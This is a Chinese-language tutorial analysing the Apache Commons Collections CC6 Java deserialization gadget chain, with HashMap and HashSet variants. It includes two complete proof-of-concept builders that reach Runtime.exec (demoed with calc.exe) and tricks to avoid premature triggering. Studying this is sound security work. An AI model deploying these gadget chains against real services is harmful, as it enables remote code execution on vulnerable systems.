Java 反序列化:Apache Commons Collections CC6 利用链深度解析
字数 1788 2025-09-01 11:26:17
Apache Commons Collections CC6 利用链深度解析
环境搭建
- JDK版本: 8u71(但CC6对JDK版本无限制,任意版本均可)
- Commons Collection版本: 3.2.1或更低
- JDK下载地址: Oracle Java SE 8 Archive Downloads
前言
CC1回顾
-
TransformedMap链:
- 通过
sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法 - foreach语句执行Map遍历,调用
memberValues.setValue() - 触发
MapEntry.setValue()→TransformedMap.checkSetValue()→ChainedTransformer.transform()
- 通过
-
LazyMap链:
- foreach语句执行
memberValues.entrySet() - 触发代理对象的
invoke()方法 - 调用
LazyMap.get()→ChainedTransformer.transform()
- foreach语句执行
Java 8u71后的变化
官方修改了AnnotationInvocationHandler类的readObject方法:
- 不再使用原始Map对象,而是新建
LinkedHashMap对象 - 新方法没有
memberValues.setValue() - 导致TransformedMap链失效,LazyMap链也无法触发
CC6分析
HashMap链分析
关键发现
-
TiedMapEntry类:
getValue()方法调用map.get()hashCode()方法调用getValue()
-
利用链构造:
- 通过
HashMap.readObject()→putVal()→hash(key)→key.hashCode() - 控制key为
TiedMapEntry对象,触发getValue()→LazyMap.get()
- 通过
问题与解决
-
直接执行问题:
Map.put()也会调用hashCode(),导致提前触发- 解决方案:先使用假的
ChainedTransformer,执行后通过反射替换为真实payload
-
键值污染问题:
TiedMapEntry构造时会将键存入LazyMap- 导致
LazyMap.get()时键已存在,无法触发transform - 解决方案:构造后移除键
LazyMap.remove(key)
最终POC
// 1. 创建假的Transformer链
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });
// 2. 创建LazyMap并移除测试键
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, fakeChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keyToRemove");
lazyMap.remove("keyToRemove"); // 关键:移除键确保后续get触发transform
// 3. 创建HashMap并添加entry
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry, "value");
// 4. 通过反射替换为真实Transformer链
Transformer[] realChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, realChain);
// 序列化和反序列化触发
serializeAndDeserialize(hashMap);
完整利用链
HashMap.readObject()
-> HashMap.hash(key)
-> TiedMapEntry.hashCode()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> Runtime.exec()
HashSet链分析
关键发现
-
HashSet类:
readObject()方法调用map.put()add()方法可控制放入的entry
-
利用链构造:
- 通过
HashSet.readObject()→HashMap.put()→hash(key)→key.hashCode() - 控制key为
TiedMapEntry对象
- 通过
问题与解决
- 直接
add(tiedMapEntry)会立即触发payload - 解决方案:同样使用假的Transformer链,执行后反射替换
最终POC
// 1. 创建假的Transformer链
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });
// 2. 创建LazyMap并移除测试键
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, fakeChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keyToRemove");
lazyMap.remove("keyToRemove");
// 3. 创建HashSet并添加entry
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
// 4. 通过反射替换为真实Transformer链
Transformer[] realChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, realChain);
// 序列化和反序列化触发
serializeAndDeserialize(hashSet);
完整利用链
HashSet.readObject()
-> HashMap.put()
-> HashMap.hash(key)
-> TiedMapEntry.hashCode()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> Runtime.exec()
关键点总结
-
核心类:
TiedMapEntry: 提供getValue()到LazyMap.get()的桥梁LazyMap: 延迟执行Transformer链ChainedTransformer: 执行恶意操作链
-
触发机制:
- 通过集合类(
HashMap/HashSet)的readObject触发 - 利用
hashCode()方法间接调用getValue()
- 通过集合类(
-
绕过限制技巧:
- 使用假的Transformer链避免提前触发
- 移除测试键确保
LazyMap.get()触发transform
-
版本适应性:
- 不受JDK版本限制
- Commons Collection需≤3.2.1